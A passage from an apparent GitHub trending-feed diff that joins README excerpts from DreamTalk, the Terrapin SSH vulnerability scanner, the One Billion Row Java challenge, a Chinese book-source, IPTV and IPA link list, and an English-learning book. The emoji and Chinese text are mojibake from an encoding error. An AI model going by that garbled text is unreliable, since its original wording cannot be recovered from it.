network and the renderer:</p> <ul> <li><a href="https://huggingface.co/damo-vilab/dreamtalk">HuggingFace</a></li> <li><a href="https://modelscope.cn/models/damo/dreamtalk/files">ModelScope</a> (in <code>checkpoints</code> folder)</li> </ul> <p>Put the downloaded checkpoints into <code>checkpoints</code> folder.</p> <h2>Inference</h2> <p>Run the script:</p> <pre><code>python inference_for_demo_video.py \ --wav_path data/audio/acknowledgement_english.m4a \ --style_clip_path data/style_clip/3DMM/M030_front_neutral_level1_001.mat \ --pose_path data/pose/RichardShelby_front_neutral_level1_001.mat \ --image_path data/src_img/uncropped/male_face.png \ --cfg_scale 1.0 \ --max_gen_len 30 \ --output_name acknowledgement_english@M030_front_neutral_level1_001@male_face </code></pre> <p><code>wav_path</code> specifies the input audio. The input audio file extensions such as wav, mp3, m4a, and mp4 (video with sound) should all be compatible.</p> <p><code>style_clip_path</code> specifies the reference speaking style and <code>pose_path</code> specifies head pose. They are 3DMM paramenter sequences extracted from reference videos. You can follow <a href="https://github.com/RenYurui/PIRender">PIRenderer</a> to extract 3DMM parameters from your own videos. Note that the video frame rate should be 25 FPS. Besides, videos used for head pose reference should be first cropped to $256\times256$ using scripts in <a href="https://github.com/AliaksandrSiarohin/video-preprocessing">FOMM video preprocessing</a>.</p> <p><code>image_path</code> specifies the input portrait. Its resolution should be larger than $256\times256$. Frontal portraits, with the face directly facing forward and not tilted to one side, usually achieve satisfactory results. The input portrait will be cropped to $256\times256$. If your portrait is already cropped to $256\times256$ and you want to disable cropping, use option <code>--disable_img_crop</code> like this:</p> <pre><code>python inference_for_demo_video.py \ --wav_path data/audio/acknowledgement_chinese.m4a \ --style_clip_path data/style_clip/3DMM/M030_front_surprised_level3_001.mat \ --pose_path data/pose/RichardShelby_front_neutral_level1_001.mat \ --image_path data/src_img/cropped/zp1.png \ --disable_img_crop \ --cfg_scale 1.0 \ --max_gen_len 30 \ --output_name acknowledgement_chinese@M030_front_surprised_level3_001@zp1 </code></pre> <p><code>cfg_scale</code> controls the scale of classifer-free guidance. It can adjust the intensity of speaking styles.</p> <p><code>max_gen_len</code> is the maximum video generation duration, measured in seconds. If the input audio exceeds this length, it will be truncated.</p> <p>The generated video will be named <code>$(output_name).mp4</code> and put in the output_video folder. Intermediate results, including the cropped portrait, will be in the <code>tmp/$(output_name)</code> folder.</p> <p>Sample inputs are presented in <code>data</code> folder. Due to copyright issues, we are unable to include the songs we have used in this folder.</p> <h2>Acknowledgements</h2> <p>We extend our heartfelt thanks for the invaluable contributions made by preceding works to the development of DreamTalk. This includes, but is not limited to: <a href="https://github.com/RenYurui/PIRender">PIRenderer</a> ,<a href="https://github.com/FuxiVirtualHuman/AAAI22-one-shot-talking-face">AVCT</a> ,<a href="https://github.com/FuxiVirtualHuman/styletalk">StyleTalk</a> ,<a href="https://github.com/sicxu/Deep3DFaceRecon_pytorch">Deep3DFaceRecon_pytorch</a> ,<a href="https://huggingface.co/jonatasgrosman/wav2vec2-large-xlsr-53-english">Wav2vec2.0</a> ,<a href="https://github.com/luost26/diffusion-point-cloud">diffusion-point-cloud</a> ,<a href="https://github.com/AliaksandrSiarohin/video-preprocessing">FOMM video preprocessing</a>. We are dedicated to advancing upon these foundational works with the utmost respect for their original contributions.</p> <h2>Citation</h2> <p>If you find this codebase useful for your research, please use the following entry.</p> <pre><code class="language-BibTeX">@article{ma2023dreamtalk, title={DreamTalk: When Expressive Talking Head Generation Meets Diffusion Probabilistic Models}, author={Ma, Yifeng and Zhang, Shiwei and Wang, Jiayu and Wang, Xiang and Zhang, Yingya and Deng, Zhidong}, journal={arXiv preprint arXiv:2312.09767}, year={2023} } </code></pre> + RUB-NDS/Terrapin-Scanner + 2024-01-06T01:25:31Z + tag:github.com,2024-01-06:/RUB-NDS/Terrapin-Scanner + + <p>This repository contains a simple vulnerability scanner for the Terrapin attack present in the paper "Terrapin Attack: Breaking SSH Channel Integrity By Sequence Number Manipulation".</p><hr><h1>Terrapin Vulnerability Scanner</h1> <p>The Terrapin Vulnerability Scanner is a small utility program written in Go, which can be used to determine the vulnerability of an SSH client or server against the <a href="https://terrapin-attack.com">Terrapin Attack</a>. The vulnerability scanner requires a single connection with the peer to gather all supported algorithms. However, it does not perform a fully fledged SSH key exchange, will never attempt authentication on a server, and does not perform the attack in practice. Instead, vulnerability is determined by checking the supported algorithms and support for known countermeasures (strict key exchange). This may falsely claim vulnerability in case the peer supports countermeasures unknown to this tool.</p> <h2>Building</h2> <p>For convenience, we are providing pre-compiled binaries for all major desktop platforms. These can be found on the <a href="https://github.com/RUB-NDS/Terrapin-Scanner/releases/latest">Release page</a>.</p> <p>However, we understand that you might prefer building tools, that connect to your SSH server, yourself. To do this, ensure that you have at least Go v1.18 installed. To compile and install the Terrapin Vulnerability Scanner Go package, run the command below.</p> <pre><code>go install github.com/RUB-NDS/Terrapin-Scanner@latest </code></pre> <p>This will download, compile, and install the Go package for your local system. The compiled binary will become available at <code>$GOBIN/Terrapin-Scanner</code>. If the <code>GOBIN</code> environment variable is not set, Go will default to using <code>$GOPATH/bin</code> or <code>$HOME/go/bin</code>, depending on whether the <code>$GOPATH</code> environment variable is set.</p> <h2>Usage</h2> <pre><code class="language-bash"># Scan the SSH server available at localhost port 2222 ./Terrapin-Scanner --connect localhost:2222 # If no port is specified, the tool will default to port 22 instead ./Terrapin-Scanner --connect localhost # To scan an SSH client, specify the listen command instead # After running the command, you will need to connect with your SSH client to port 2222 ./Terrapin-Scanner --listen 0.0.0.0:2222 # When binding to localhost, you can omit the interface address # The following command will listen for incoming connections on 127.0.0.1:2222 ./Terrapin-Scanner --listen 2222 </code></pre> <p>The scanner supports outputting the scan result as json. To do so, provide the <code>--json</code> flag when calling the scanner. The output is structured as follows:</p> <pre><code class="language-json">{ "Banner": "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.5", "SupportsChaCha20": true, "SupportsCbcEtm": false, "SupportsStrictKex": true, "Vulnerable": false } </code></pre> - gunnarmorling/1brc - 2024-01-05T01:26:39Z - tag:github.com,2024-01-05:/gunnarmorling/1brc - - <p>1๏ธโƒฃ๐Ÿ๐ŸŽ๏ธ The One Billion Row Challenge -- A fun exploration of how quickly 1B rows from a text file can be aggregated with Java</p><hr><h1>1๏ธโƒฃ๐Ÿ๐ŸŽ๏ธ The One Billion Row Challenge</h1> <p><em>Status Jan 1: This challenge is <a href="https://www.morling.dev/blog/one-billion-row-challenge/">open for submissions</a>!</em></p> <p>The One Billion Row Challenge (1BRC) is a fun exploration of how far modern Java can be pushed for aggregating one billion rows from a text file. Grab all your (virtual) threads, reach out to SIMD, optimize your GC, or pull any other trick, and create the fastest implementation for solving this task!</p> <img src="https://raw.githubusercontent.com/gunnarmorling/1brc/main/1brc.png" alt="1BRC" style="display: block; margin-left: auto; margin-right: auto; margin-bottom:1em; width: 50%;"> <p>The text file contains temperature values for a range of weather stations. Each row is one measurement in the format <code>&lt;string: station name&gt;;&lt;double: measurement&gt;</code>, with the measurement value having exactly one fractional digit. The following shows ten rows as an example:</p> <pre><code>Hamburg;12.0 Bulawayo;8.9 Palembang;38.8 St. John's;15.2 Cracow;12.6 Bridgetown;26.9 Istanbul;6.2 Roseau;34.4 Conakry;31.2 Istanbul;23.0 </code></pre> <p>The task is to write a Java program which reads the file, calculates the min, mean, and max temperature value per weather station, and emits the results on stdout like this (i.e. sorted alphabetically by station name, and the result values per station in the format <code>&lt;min&gt;/&lt;mean&gt;/&lt;max&gt;</code>, rounded to one fractional digit):</p> <pre><code>{Abha=-23.0/18.0/59.2, Abidjan=-16.2/26.0/67.3, Abรฉchรฉ=-10.0/29.4/69.0, Accra=-10.1/26.4/66.4, Addis Ababa=-23.7/16.0/67.0, Adelaide=-27.8/17.3/58.5, ...} </code></pre> <p>Submit your implementation by Jan 31 2024 and become part of the leaderboard!</p> <h2>Results</h2> <table> <thead> <tr> <th>#</th> <th>Result (m:s.ms)</th> <th>Implementation</th> <th>JDK</th> <th>Submitter</th> </tr> </thead> <tbody> <tr> <td>1.</td> <td>00:12.063</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_spullara.java">link</a></td> <td>21.0.1-graalce</td> <td><a href="https://github.com/spullara">Sam Pullara</a></td> </tr> <tr> <td>2.</td> <td>00:12.685</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_royvanrijn.java">link</a></td> <td>21.0.1-graalce</td> <td><a href="https://github.com/royvanrijn">Roy van Rijn</a></td> </tr> <tr> <td>3.</td> <td>00:14.251</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_artsiomkorzun.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/artsiomkorzun">Artsiom Korzun</a></td> </tr> <tr> <td>4.</td> <td>00:14.476</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_ebarlas.java">link</a></td> <td>21.0.1-graalce</td> <td><a href="https://github.com/ebarlas">Elliot Barlas</a></td> </tr> <tr> <td>5.</td> <td>00:17.905</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_lawrey.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/peter-lawrey">Peter Lawrey</a></td> </tr> <tr> <td>6.</td> <td>00:18.789</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_palmr.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/palmr">Nick Palmer</a></td> </tr> <tr> <td>7.</td> <td>00:23.078</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_richardstartin.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/richardstartin">Richard Startin</a></td> </tr> <tr> <td>8.</td> <td>00:27.787</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_nstng.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/nstng">Nils Semmelrock</a></td> </tr> <tr> <td>9.</td> <td>00:32.764</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_moysesb.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/moysesb">Moysรฉs Borges Furtado</a></td> </tr> <tr> <td>10.</td> <td>00:34.848</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_armandino.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/armandino">Arman Sharif</a></td> </tr> <tr> <td>11.</td> <td>00:38.106</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_seijikun.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/seijikun">Markus Ebner</a></td> </tr> <tr> <td>12.</td> <td>00:38.510</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_bjhara.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/bjhara">Hampus Ram</a></td> </tr> <tr> <td>13.</td> <td>00:50.547</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_padreati.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/padreati">Aurelian Tutuianu</a></td> </tr> <tr> <td>14.</td> <td>00:53.679</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_criccomini.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/criccomini">Chris Riccomini</a></td> </tr> <tr> <td>15.</td> <td>00:57.141</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_truelive.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/truelive">Roman Schweitzer</a></td> </tr> <tr> <td>16.</td> <td>01:27.912</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_jgrateron.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/jgrateron">Jairo Graterรณn</a></td> </tr> <tr> <td>17.</td> <td>02:00.101</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_khmarbaise.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/khmarbaise">khmarbaise</a></td> </tr> <tr> <td>18.</td> <td>02:08.315</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_itaske.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/itaske">itaske</a></td> </tr> <tr> <td>19.</td> <td>02:08.650</td> <td><a href="https://github.com/gunnarmorling/1brc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage_kuduwa_keshavram.java">link</a></td> <td>21.0.1-open</td> <td><a href="https://github.com/kuduwa_keshavram">Kuduwa Keshavram</a></td> </tr> <tr> <td>20.</td> <td>04:13.449</td> <td><a href="https://github.com/gunnarmorling/onebrc/raw/main/src/main/java/dev/morling/onebrc/CalculateAverage.java">link</a> (baseline)</td> <td>21.0.1-open</td> <td><a href="https://github.com/gunnarmorling">Gunnar Morling</a></td> </tr> </tbody> </table> <p>See <a href="https://raw.githubusercontent.com/gunnarmorling/1brc/main/#entering-the-challenge">below</a> for instructions how to enter the challenge with your own implementation.</p> <h2>Prerequisites</h2> <p><a href="https://openjdk.org/projects/jdk/21/">Java 21</a> must be installed on your system.</p> <h2>Running the Challenge</h2> <p>This repository contains two programs:</p> <ul> <li><code>dev.morling.onebrc.CreateMeasurements</code> (invoked via <em>create_measurements.sh</em>): Creates the file <em>measurements.txt</em> in the root directory of this project with a configurable number of random measurement values</li> <li><code>dev.morling.onebrc.CalculateAverage</code> (invoked via <em>calculate_average_baseline.sh</em>): Calculates the average values for the file <em>measurements.txt</em></li> </ul> <p>Execute the following steps to run the challenge:</p> <ol> <li> <p>Build the project using Apache Maven:</p> <pre><code>./mvnw clean verify </code></pre> </li> <li> <p>Create the measurements file with 1B rows (just once):</p> <pre><code>./create_measurements.sh 1000000000 </code></pre> <p>This will take a few minutes. <strong>Attention:</strong> the generated file has a size of approx. <strong>12 GB</strong>, so make sure to have enough diskspace.</p> </li> <li> <p>Calculate the average measurement values:</p> <pre><code>./calculate_average_baseline.sh </code></pre> <p>The provided naive example implementation uses the Java streams API for processing the file and completes the task in ~2 min on environment used for <a href="https://raw.githubusercontent.com/gunnarmorling/1brc/main/#evaluating-results">result evaluation</a>. It serves as the base line for comparing your own implementation.</p> </li> <li> <p>Optimize the heck out of it:</p> <p>Adjust the <code>CalculateAverage</code> program to speed it up, in any way you see fit (just sticking to a few rules described below). Options include parallelizing the computation, using the (incubating) Vector API, memory-mapping different sections of the file concurrently, using AppCDS, GraalVM, CRaC, etc. for speeding up the application start-up, choosing and tuning the garbage collector, and much more.</p> </li> </ol> <h2>Flamegraph/Profiling</h2> <p>A tip is that if you have <a href="https://jbang.dev">jbang</a> installed, you can get a flamegraph of your program by running <a href="https://github.com/jvm-profiling-tools/async-profiler">async-profiler</a> via <a href="https://github.com/jvm-profiling-tools/ap-loader">ap-loader</a>:</p> <p><code>jbang --javaagent=ap-loader@jvm-profiling-tools/ap-loader=start,event=cpu,file=profile.html -m dev.morling.onebrc.CalculateAverage_yourname target/average-1.0.0-SNAPSHOT.jar</code></p> <p>or directly on the .java file:</p> <p><code>jbang --javaagent=ap-loader@jvm-profiling-tools/ap-loader=start,event=cpu,file=profile.html src/main/java/dev/morling/onebrc/CalculateAverage_yourname</code></p> <p>When you run this, it will generate a flamegraph in profile.html. You can then open this in a browser and see where your program is spending its time.</p> <h2>Rules and limits</h2> <ul> <li>Any of these Java distributions may be used: <ul> <li>Any builds provided by <a href="https://sdkman.io/jdks">SDKMan</a></li> <li>Early access builds available on openjdk.net may be used (including EA builds for OpenJDK projects like Valhalla)</li> <li>Builds on <a href="https://builds.shipilev.net/openjdk-jdk-lilliput/">builds.shipilev.net</a> If you want to use a build not available via these channels, reach out to discuss whether it can be considered.</li> </ul> </li> <li>No external library dependencies may be used</li> <li>Implementations must be provided as a single source file</li> <li>The computation must happen at application <em>runtime</em>, i.e. you cannot process the measurements file at <em>build time</em> (for instance, when using GraalVM) and just bake the result into the binary</li> <li>Input value ranges are as follows: <ul> <li>Station name: non null UTF-8 string of min length 1 character and max length 100 characters</li> <li>Temperature value: non null double between -99.9 (inclusive) and 99.9 (inclusive), always with one fractional digit</li> </ul> </li> <li>There is a maximum of 10,000 unique station names</li> <li>Implementations must not rely on specifics of a given data set, e.g. any valid station name as per the constraints above and any data distribution (number of measurements per station) must be supported</li> </ul> <h2>Entering the Challenge</h2> <p>To submit your own implementation to 1BRC, follow these steps:</p> <ul> <li>Create a fork of the <a href="https://github.com/gunnarmorling/onebrc/">onebrc</a> GitHub repository.</li> <li>Create a copy of <em>CalculateAverage.java</em>, named <em>CalculateAverage_&lt;your_GH_user&gt;.java</em>, e.g. <em>CalculateAverage_doloreswilson.java</em>.</li> <li>Make that implementation fast. Really fast.</li> <li>Create a copy of <em>calculate_average_baseline.sh</em>, named <em>calculate_average_&lt;your_GH_user&gt;.sh</em>, e.g. <em>calculate_average_doloreswilson.sh</em>.</li> <li>Adjust that script so that it references your implementation class name. If needed, provide any JVM arguments via the <code>JAVA_OPTS</code> variable in that script.</li> <li>OpenJDK 21 is the default. If a custom JDK build is required, include the SDKMAN command <code>sdk use java [version]</code> in the launch shell script prior to application start.</li> <li>(Optional) If you'd like to use native binaries (GraalVM), adjust the <em>pom.xml</em> file so that it builds that binary.</li> <li>Run the test suite by executing <em>/test.sh &lt;your_GH_user&gt;</em>; if any differences are reported, fix them before submitting your implementation.</li> <li>Create a pull request against the upstream repository, clearly stating <ul> <li>The name of your implementation class.</li> <li>The execution time of the program on your system and specs of the same (CPU, number of cores, RAM). This is for informative purposes only, the official runtime will be determined as described below.</li> </ul> </li> <li>I will run the program and determine its performance as described in the next section, and enter the result to the scoreboard.</li> </ul> <p><strong>Note:</strong> I reserve the right to not evaluate specific submissions if I feel doubtful about the implementation (I.e. I won't run your Bitcoin miner ;).</p> <p>If you'd like to discuss any potential ideas for implementing 1BRC with the community, you can use the <a href="https://github.com/gunnarmorling/onebrc/discussions">GitHub Discussions</a> of this repository. Please keep it friendly and civil.</p> <p>The challenge runs until Jan 31 2024. Any submissions (i.e. pull requests) created after Jan 31 2024 23:59 UTC will not be considered.</p> <h2>Evaluating Results</h2> <p>Results are determined by running the program on a <a href="https://www.hetzner.com/cloud">Hetzner Cloud CCX33 instance</a> (8 dedicated vCPU, 32 GB RAM). The <code>time</code> program is used for measuring execution times, i.e. end-to-end times are measured. Each contender will be run five times in a row. The slowest and the fastest runs are discarded. The mean value of the remaining three runs is the result for that contender and will be added to the results table above. The exact same <em>measurements.txt</em> file is used for evaluating all contenders.</p> <p>If you'd like to spin up your own box for testing on Hetzner Cloud, you may find these <a href="https://github.com/gunnarmorling/cloud-boxes/">set-up scripts</a> (based on Terraform and Ansible) useful. Note this will incur cost you are responsible for, I am not going to pay your cloud bill :)</p> <h2>Prize</h2> <p>If you enter this challenge, you may learn something new, get to inspire others, and take pride in seeing your name listed in the scoreboard above. Rumor has it that the winner may receive a unique 1๏ธโƒฃ๐Ÿ๐ŸŽ๏ธ t-shirt, too!</p> <h2>FAQ</h2> <p><em>Q: Can I use Kotlin or other JVM languages other than Java?</em><br> A: No, this challenge is focussed on Java only. Feel free to inofficially share implementations significantly outperforming any listed results, though.</p> <p><em>Q: Can I use non-JVM languages and/or tools?</em><br> A: No, this challenge is focussed on Java only. Feel free to inofficially share interesting implementations and results though. For instance it would be interesting to see how DuckDB fares with this task.</p> <p><em>Q: I've got an implementationโ€”but it's not in Java. Can I share it somewhere?</em><br> A: Whilst non-Java solutions cannot be formally submitted to the challenge, you are welcome to share them over in the <a href="https://github.com/gunnarmorling/1brc/discussions/categories/show-and-tell">Show and tell</a> GitHub discussion area.</p> <p><em>Q: Can I use JNI?</em><br> A: Submissions must be completely implemented in Java, i.e. you cannot write JNI glue code in C/C++. You could use AOT compilation of Java code via GraalVM though, either by AOT-compiling the entire application, or by creating a native library (see <a href="https://www.graalvm.org/22.0/reference-manual/native-image/ImplementingNativeMethodsInJavaWithSVM/">here</a>.</p> <p><em>Q: What is the encoding of the measurements.txt file?</em><br> A: The file is encoded with UTF-8.</p> <p><em>Q: Can I make assumptions on the names of the weather stations showing up in the data set?</em><br> A: No, while only a fixed set of station names is used by the data set generator, any solution should work with arbitrary UTF-8 station names (for the sake of simplicity, names are guaranteed to contain no <code>;</code> character).</p> <p><em>Q: Can I copy code from other submissions?</em><br> A: Yes, you can. The primary focus of the challenge is about learning something new, rather than "winning". When you do so, please give credit to the relevant source submissions. Please don't re-submit other entries with no or only trivial improvements.</p> <p><em>Q: Which operating system is used for evaluation?</em><br> A: Fedora 39.</p> <p><em>Q: Why</em> 1๏ธโƒฃ๐Ÿ๐ŸŽ๏ธ <em>?</em><br> A: It's the abbreviation of the project name: <strong>One</strong> <strong>B</strong>illion <strong>R</strong>ow <strong>C</strong>hallenge.</p> <h2>License</h2> <p>This code base is available under the Apache License, version 2.</p> <h2>Code of Conduct</h2> <p>Be excellent to each other! More than winning, the purpose of this challenge is to have fun and learn something new.</p> + shidahuilang/shuyuan + 2024-01-06T01:25:31Z + tag:github.com,2024-01-06:/shidahuilang/shuyuan + + <p>้ฆ™่‰ฒ้—บ้˜+้˜…่ฏป3.0ไนฆๆบ+ๆบ้˜…่ฏป+็ˆฑ้˜…ไนฆ้ฆ™+่Šฑ็ซ้˜…่ฏป+่ฏปไธ่ˆๆ‰‹+IPTVๆบ+IPAๅทจ้ญ”ๅบ”็”จ=่‡ชๅŠจๆ›ดๆ–ฐ</p><hr><p><strong>่‡ชๅŠจๆ›ดๆ–ฐๆ—ถ้—ด</strong> 2024-01-04 22:15:22 CST+0800</p> <h4>๐Ÿšฉ ๆœ€ๆ–ฐ้˜…่ฏปไนฆๆบไฟฎๅค-ๆฏ้š”3ๅคฉ่‡ชๅŠจๆ›ดๆ–ฐไธ€ๆฌก๏ผˆ่ฏปไธ่ˆๆ‰‹-ๆบ้˜…่ฏป+่Šฑ็ซ้˜…่ฏป้€š็”จ๏ผ‰</h4> <h4>๐Ÿšฉ ่Žทๅ–ๅŽ็š„ไนฆๆบไผš่‡ชๅŠจๆ•ˆ้ชŒ</h4> <!-- ๆ›ดๆ–ฐไฝ็ฝฎๅผ€ๅง‹ --> <table> <thead> <tr> <th>้˜…่ฏปๆบๆ€ปๆ•ฐ</th> <th>ๆœ‰ๆ•ˆไนฆๆบๆ•ฐ</th> <th>ๆ— ๆ•ˆไนฆๆบๆ•ฐ</th> <th>้‡ๅคไนฆๆบๆ•ฐ</th> </tr> </thead> <tbody> <tr> <td><span style="color:green;">3967</span></td> <td><span style="color:blue;">2613</span></td> <td><span style="color:red;">1354</span></td> <td><span style="color:orange;">945</span></td> </tr> </tbody> </table> <!-- ๆ›ดๆ–ฐไฝ็ฝฎ็ป“ๆŸ --> <p><img src="https://raw.githubusercontent.com/shidahuilang/shuyuan/shuyuan/icons/shuyuan.png" alt="shuyuan.png"></p> <h4>๐Ÿšฉ ๆ•ˆ้ชŒไนฆๆบ้“พๆŽฅ</h4> <pre><code>https://raw.githubusercontent.com/shidahuilang/shuyuan/shuyuan/good.json </code></pre> <ul> <li>ๆœชๆ•ˆ้ชŒไนฆๆบ้“พๆŽฅ</li> </ul> <pre><code>http://mirror.ghproxy.com/https://raw.githubusercontent.com/shidahuilang/shuyuan/shuyuan/book.json </code></pre> <h4>๐Ÿšฉ ่ง„ๅˆ™ๅ‡€ๅŒ–</h4> <pre><code>https://raw.githubusercontent.com/shidahuilang/shuyuan/shuyuan/jinghua.json </code></pre> <h4>๐Ÿšฉ TTS-70็ง่ฏญ้ŸณๅŒ…</h4> <pre><code>https://raw.githubusercontent.com/shidahuilang/shuyuan/shuyuan/tts.json </code></pre> <ul> <li>่ฏญ้ŸณๅŒ…็”Ÿๆˆ<a href="https://tts.dalang.eu.org/">็‚นๆˆ‘</a></li> </ul> <h4>๐Ÿšฉ ้ฆ™่‰ฒ้—บ้˜-ๆฏ้š”3ๅคฉ่‡ชๅŠจๆ›ดๆ–ฐไธ€ๆฌก</h4> <p><strong>่‡ชๅŠจๆ›ดๆ–ฐๆ—ถ้—ด</strong> 2024-01-04 22:15:22 CST+0800</p> <pre><code class="language-bash">https://raw.githubusercontent.com/shidahuilang/shuyuan/shuyuan/xsreader/new/resources.txt </code></pre> <h4>๐Ÿšฉ ็ˆฑ้˜…ไนฆ้ฆ™ไนฆๆบ</h4> <pre><code class="language-bash">https://github.com/shidahuilang/shuyuan/raw/shuyuan/aiyueshuxiang.ibs </code></pre> <h4>๐Ÿšฉ IPTVๆบ</h4> <pre><code>https://iptv.228088.xyz/cn.m3u </code></pre> <pre><code>https://cdn.jsdelivr.net/gh/shidahuilang/shuyuan@shuyuan/iptv.txt </code></pre> <h4>๐Ÿšฉ ESign/AltStore/SideStore/้”คๅญๅŠฉๆ‰‹ ๅทจ้ญ”ๅ•†ๅบ—ๅบ”็”จ</h4> <p>ๅฏผๅ…ฅ้“พๆŽฅ</p> <pre><code>https://raw.githubusercontent.com/shidahuilang/shuyuan/shuyuan/ipa.json </code></pre> <p><a href="https://starchart.cc/shidahuilang/shuyuan"><img src="https://starchart.cc/shidahuilang/shuyuan.svg?sanitize=true" alt="Stargazers over time"></a></p> - xiaolai/everyone-can-use-english - 2024-01-05T01:26:39Z - tag:github.com,2024-01-05:/xiaolai/everyone-can-use-english - - <p>ไบบไบบ้ƒฝ่ƒฝ็”จ่‹ฑ่ฏญ</p><hr><h1>ไบบไบบ้ƒฝ่ƒฝ็”จ่‹ฑ่ฏญ</h1> <h2>็›ฎๅฝ•</h2> <ul> <li><a href="https://raw.githubusercontent.com/xiaolai/everyone-can-use-english/master/README.md">็ฎ€ไป‹</a></li> <li><a href="https://raw.githubusercontent.com/xiaolai/everyone-can-use-english/master/chapter1.md">็ฌฌไธ€็ซ ๏ผš่ตท็‚น</a></li> <li><a href="https://raw.githubusercontent.com/xiaolai/everyone-can-use-english/master/chapter2.md">็ฌฌไบŒ็ซ ๏ผšๅฃ่ฏญ</a></li> <li><a href="https://raw.githubusercontent.com/xiaolai/everyone-can-use-english/master/chapter3.md">็ฌฌไธ‰็ซ ๏ผš่ฏญ้Ÿณ</a></li> <li><a href="https://raw.githubusercontent.com/xiaolai/everyone-can-use-english/master/chapter4.md">็ฌฌๅ››็ซ ๏ผšๆœ—่ฏป</a></li> <li><a href="https://raw.githubusercontent.com/xiaolai/everyone-can-use-english/master/chapter5.md">็ฌฌไบ”็ซ ๏ผš่ฏๅ…ธ</a></li> <li><a href="https://raw.githubusercontent.com/xiaolai/everyone-can-use-english/master/chapter6.md">็ฌฌๅ…ญ็ซ ๏ผš่ฏญๆณ•</a></li> <li><a href="https://raw.githubusercontent.com/xiaolai/everyone-can-use-english/master/chapter7.md">็ฌฌไธƒ็ซ ๏ผš็ฒพ่ฏป</a></li> <li><a href="https://raw.githubusercontent.com/xiaolai/everyone-can-use-english/master/chapter8.md">็ฌฌๅ…ซ็ซ ๏ผšๅฎๅ˜ฑ</a></li> <li><a href="https://raw.githubusercontent.com/xiaolai/everyone-can-use-english/master/end.md">ๅŽ่ฎฐ</a></li> </ul> <h2>ๅ‰่จ€</h2> <blockquote> <p>ๆœ‰ไธ€ๅคฉ๏ผŒๆœ‰ไธชไบบๅœจ Twitter ไธŠๆ้—ฎ๏ผš</p> </blockquote> <blockquote> <blockquote> <p>@maozhu1: @xiaolai ่ฟ˜่ฏทๆŽ่€ๅธˆ็”จ 140 ๅญ—ๆฆ‚ๆ‹ฌไธ€ไธ‹ๆ€Žๆ ทๆ‰่ƒฝๅญฆๅฅฝ่‹ฑ่ฏญ๏ผŸ</p> </blockquote> </blockquote> <blockquote> <p>ๆˆ‘ๅ›žๅค่ฏด๏ผš</p> <blockquote> <p>ๅ…ถๅฎžไธ€ไธชๅญ—ๅฐฑๅคŸไบ†๏ผšโ€œ็”จโ€ใ€‚</p> </blockquote> </blockquote> <p>่ฟ™ๆœฌไนฆ้‡Œ็š„ๆ–‡ๅญ—๏ผŒๅ…จ้ƒจ็š„ๆ„ไน‰๏ผŒๅชๆœ‰ไธคไธชๅญ—๏ผšโ€œๅฏๅ‘โ€ใ€‚</p> <p>ๆœ‰ไบ›็Ÿฅ่ฏ†๏ผŒไธไป…่ฆไบ†่งฃ๏ผŒ่ฟ˜่ฆๆทฑๅ…ฅไบ†่งฃใ€‚ไธบไบ†ๆทฑๅ…ฅไบ†่งฃ๏ผŒไธไป…่ฆๅญฆไน 